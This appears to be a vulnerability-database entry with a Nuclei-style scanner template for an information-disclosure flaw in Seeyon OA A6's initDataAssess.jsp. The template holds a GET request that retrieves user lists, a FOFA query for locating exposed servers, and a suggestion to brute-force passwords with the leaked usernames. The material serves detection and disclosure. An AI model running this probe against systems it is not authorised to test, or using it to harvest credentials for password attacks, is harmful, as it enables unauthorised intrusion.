seeyon-initdata-exposure: Seeyon OA A6 initDataAssess.jsp - Information Disclosure

2025-08-01 Seeyon OA A6 PoC Public

Description

Seeyon OA A6 initDataAssess.jsp has leaked user sensitive information, attacker can use the obtained username to blast the user's password to enter the background for further attacks.

PoC

id: seeyon-initdata-exposure

info:
  name: Seeyon OA A6 initDataAssess.jsp - Information Disclosure
  author: SleepingBag945
  severity: medium
  description: |
    Seeyon OA A6 initDataAssess.jsp has leaked user sensitive information, attacker can use the obtained username to blast the user's password to enter the background for further attacks.
  reference:
    - https://github.com/achuna33/MYExploit/blob/8ffbf7ee60cbd77ad90b0831b93846aba224ab29/src/main/java/com/achuna33/Controllers/SeeyonController.java
    - https://github.com/Threekiii/Awesome-POC/blob/master/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E8%87%B4%E8%BF%9COA%20A6%20initDataAssess.jsp%20%E7%94%A8%E6%88%B7%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="yyoa" && app="致远互联-OA"
  tags: seeyon,oa,info-leak,vuln

http:
  - raw:
      - |
        GET /yyoa/assess/js/initDataAssess.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "personList"
          - "personHash.Add"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ce4822742c6f1fdfefba58b4ad229f0d9d5855460932c0b29d2a3802d21666ce022028f1177a78a60d674eab869ff74396bf00b39661f7c3a5afb65e3253cba0ce5f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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